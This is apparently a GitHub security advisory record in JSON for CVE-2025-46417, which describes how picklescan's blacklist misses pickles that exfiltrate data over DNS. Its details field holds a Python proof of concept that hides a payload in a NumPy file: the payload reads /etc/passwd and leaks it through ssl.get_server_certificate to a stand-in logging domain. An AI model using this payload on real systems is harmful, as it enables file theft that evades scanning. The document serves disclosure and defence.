CVE-2025-46417: Picklescan Picklescan Vulnerable To Exfiltration Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93mv-x874-956g",
  "modified" : "2025-04-24T16:02:36Z",
  "published" : "2025-04-07T18:52:47Z",
  "aliases" : [ "CVE-2025-46417" ],
  "summary" : "Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate",
  "details" : "### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.25"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/40"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-07T18:52:47Z",
    "nvd_published_at" : null
  }
}